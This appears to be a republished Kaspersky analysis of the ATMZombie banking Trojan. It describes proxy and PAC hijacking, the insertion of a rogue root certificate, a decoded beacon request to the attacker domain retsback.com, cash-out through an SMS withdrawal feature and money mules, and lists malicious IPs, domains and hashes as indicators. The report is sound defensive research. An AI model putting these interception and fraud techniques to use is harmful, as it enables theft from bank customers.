On November 2015, Kaspersky Lab researchers identified ATMZombie, a banking Trojan that is considered to be the first malware to ever steal money from Israeli banks. It uses insidious injection and other sophisticated and stealthy methods. The first method, dubbed “proxy-changing”, is commonly used for HTTP packets inspections. It involves modifying browser proxy configurations and capturing traffic between a client and a server, acting as Man-In-The-Middle.
Although this is efficient for testing, streaming bank details isn’t as easy. Banks are using encrypted channels, signed with authorized certificates, to prevent the data from being streamed in clear-text. The attackers, however, realized the missing piece and have since issued a certificate of their own, which is embedded in the dropper and is inserted in the root CA list of common browsers in the victim’s machine.
The method of using a “proxy-changer” Trojan to steal bank credentials has been around since the end of 2005, and is being actively used by Brazilian cybercriminals; however, it wasn’t until 2012 that Kaspersky Lab researchers compiled a full attack analysis. “In Brazil malicious PAC files in Trojan bankers have been increasingly common since 2009, when several families such as Trojan.Win32.ProxyChanger started to force the URLs of PAC files in the browser of infected machines.“, said Fabio Assolini, Senior Security Researcher at GReAT Kaspersky Lab, in his article.

A Kaspersky Lab researcher based in Russia had written about similar Trojan attacking PSB-retail customers, dubbed Tochechnyj Banker. It was even backed by a victim case study, where the victim explains how the crocks fooled him into handing out his credentials.
The incident Israeli banks experienced had the same characteristics, but had a very fascinating and innovative method of stealing the money. Instead of relying only on direct wire-transfer or trading credentials, their modus operandi started by leveraging a loophole in one of the bank’s online features; and later by physically withdrawing money from the ATM, assisting money mules (zombies) who are suspected to have no awareness of how the attack works; hence the Trojan was dubbed – ATMZombie.

The threat actor seems to be widely active in banking malware campaigns, as he was found to be registering domains for the following Trojans as well: Corebot, Pkybot and the recent AndroidLocker. However, none uses the same modus operandi. In addition, the actor is being tracked by a number of researchers and also runs rogue online services such as malware encryption and credit card dumps for sale.
Similar to the PSB-retail attack in 2012, the Retefe Banking Trojan, discovered by PaloAlto Networks last August, is quite like a big brother of ATMZombie. It contains an additional Smoke Loader backdoor, which ATMZombie lacks. The other similar banker is that identified by IBM Trusteer’s as Tsukuba.
The proxy configurations file must specifically detail the targets it is aiming at, thus it was fairly easy to spot them. The attack had successfully compromised hundreds of victim machines; however Kaspersky Lab was able to trace only a couple of dozen of them.
Bird view
The Trojan is dropped into the victim machine and starts the unpacking process. Once unpacked it stores certificates in common browsers (Opera, Firefox) and modifies their configurations to match a Man-In-The-Middle attack. It eliminates all possible proxies other than the malware’s and changes cache permissions to read-only. It than continues by changing registry entries with Base64 encoded strings that contain a path to the auto-configuration content (i.e. traffic capture conditions using CAP file syntax) and installs its own signed certificate into the root folder. Later it waits for the victim to login to their bank account and steals their credentials, logs in using their name and exploits the SMS feature to send money to the ATMZombie.

Analysis
After loading the malware executable with your favorite assembler level analysis debugger, it is possible to capture the virtual allocation procedure occurring in run-time. Putting breakpoints in the right instruction points will disclose the unpacked executable. Once the final routine is done, the MZ header will appear in memory. There are many techniques and tools, but this method was enough to unpack the malware.

Looking into the malware assembly code, we were able to identify a number of strings that were embedded in the data section for a reason. The first we spotted was a Base64 string containing a chunk of an outbound communication URL, meant to be embedded in a number of registry entries.

The string decodes to:
http://retsback.com/config/cfg.pac
Side note: It is not the PAC file that is being embedded in the browser network configuration; thus we believe that it was generated by the attacker as a backup, in case the original PAC fails.

Two other Base64 strings we found were the PAC, which was embedded in the browser network configuration; and another type of URL, which indicated the type of lateral movement the threat actor chose.

The URL in the Base64 string was appended to an HTTP request which was detected as an attempt to fingerprint the sandbox. The empty parameters are fed with the Windows ProductID, the binary’s name and an integer between one and five. The integer is the level of integrity that the malware was assigned for; where (1) is untrusted level and (5) is system level. Along with those three dynamic values is a static version value.
GET/z/rtback.php?id=[WindowsProductID]&ver=0000002&name=[malware_filename]&ilvl=[integrity_level] HTTP/1.1Host: retsback.comCache-Control: no-cache
Inspecting the binary, we found that it uses a certificate to stream data over HTTPS and securely steal the victim’s credentials.

After embedding the above certificate and proxy configurations in the victim’s machine, the browser is set to route the communication via the attackers’ server when the victim decides to login to his bank.
The victim was not only lured into downloading the malware for being a client of Israeli banks, but was also targeted for being a client of a specific bank in Israel. This requires either very good intelligence-gathering techniques or an insider that can, legitimately or not, get a hold of the list of clients. When a list of that nature is being assembled, the hunt becomes very efficient and the attackers are able to craft each email or link to a specific victim or bank.
The following is a full pseudo code of the malware:

Stepping out of the rabbit hole
The malware is only the first step of the attack. The second step involves a manual login to the hijacked accounts and submission of a wire-transfer to the account of the money mule. This is a crucial step, since crossing this step means that the malware has successfully finished its role in the attack.
Logging manually into the victim’s bank account is not something to take lightly. Many banks around the world are fingerprinting devices to make sure that the user is logging in from a trusted machine. For untrusted machines, the bank will issue extended protection mechanisms to prevent the exact attack detailed in this article. In addition, banks track anomalies and send alerts to its information security personnel.

Before victims get to the phase where they call the bank’s support team to declare that money has gone missing, the attacker issues a money transfer to the money mule’s cell phone number and Israeli Personal Identifiable Information (PII). We dubbed the money mule “Zombie”, as part of an investigation in which he found that youngsters were lured into withdrawing cash from the ATMs, in return for receiving a small amount of it. Later, they sent the rest of the money via different media, such as a post office. The campaign was named after the money mules and the technique they were instructed to use.
The technique allowed the attackers to stay anonymous and supervise the entire campaign remotely. It also points to a new type of attack, where attackers control residents of a country to operate as an insider and deliver a basic service. This service might cause its executor to be accused for committing a crime; however, the chance of proving that they were aware of the entire operation is close to none. After all, they are not doing anything malicious.
From reading the bank’s instruction, a non-registered user can study the five-year old feature and analyze the possibility of including it in the attack as a way to wire money. This feature is called “SMS transaction”; and it has been widely used for the past few years, allowing parents, for example, to send money to kids who have no credit card, while they serve in the military or study at school.
Along with a few more unique details, such as Date, Israeli ID, Name and Amount the owner of the phone will be provided with an SMS message that authorizes the cash withdraw.
Kaspersky Lab found an innovative way to protect against the proxy-changer that has existed for several years. It can be found here.
Israeli banks involved in the incident successfully stopped the attack using, among other data, the information they received from Kaspersky Lab regarding the attacker, the malicious activity and the victims.
FAQs
Q: Was the attack targeted at Israeli banks?
A: Yes
Q: Was money stolen from the banks or from victims’ accounts?
A: The money was stolen from victims’ accounts, but the bank compensated each victim. In conclusion, the bank was the one to lose revenue.
Q: Was the attack stopped completely?
A: As far as we know, the banks were able to stop the attack completely and compensate the victims.
Q: How many victims were in the attack?
A: The Kaspersky Security Network (KSN) showed dozens of victims; however, we estimate that the total number of victims reached a couple of hundreds.
Q: How much money was stolen?
A: The highest amount for one transaction was approximately 750$. We were able to find a number of money mules, about 10 different malicious binaries, and a number of banks who were victims of this attack. With this information we estimate that hundreds of thousands of dollars were stolen in this short period of time. If not for the vast investigation led, among others, by Kaspersky Lab, the amounts stolen could have soared to much larger numbers.
Q: Were the police part of the investigation?
A: We are not aware of any investigation details.
Q: In regards to attribution, who is the attacker?
A: Kaspersky Lab does not seek attribution; however, the company’s researchers have sent all the information to law enforcement to help in catching the criminals behind the campaign.
Q: What can I do to stay protected?
A: Make sure you have anti-malware product installed and install the latest patches.
IPs
91.230.211.206185.86.77.15391.215.154.9088.214.236.121
Domains
retsback.comupdconfs.comsystruster.commsupdcheck.com
Samples

6d11090c78e6621c21836c98808ff0f4
Trojan-Banker.Win32.Capper.zym

4c5b7a8187475be251d05655edcaccbe
Trojan-Banker.Win32.Capper.zyt

c0201ab2a45bc0e17ebd186059d5a59e
Trojan-Banker.Win32.Capper.zyk

47b316e3227d618089eb1625c4202142
Trojan-Banker.Win32.Capper.zyl

84bb5a77e28b3539a8022bc3612d4f4c
PAC file example

d2bf165284ab1953a96dfa7b642637a8
Trojan-Banker.Win32.Capper.zyp

80440e78a68583b180ad4d3e9a676a6e
Trojan-Banker.Win32.Capper.zyq

d08e51f8187df278296a8c4ff5cff0de
Trojan-Banker.Win32.Capper.zyg

efa5ea2c511b08d0f8259a10a49b27ad
Trojan-Banker.Win32.Capper.zys

13d9352a27b626e501f5889bfd614b34
Trojan-Banker.Win32.Capper.zyf

e5b7fd7eed59340027625ac39bae7c81
Trojan-Banker.Win32.Capper.zyj

Source: Kaspersky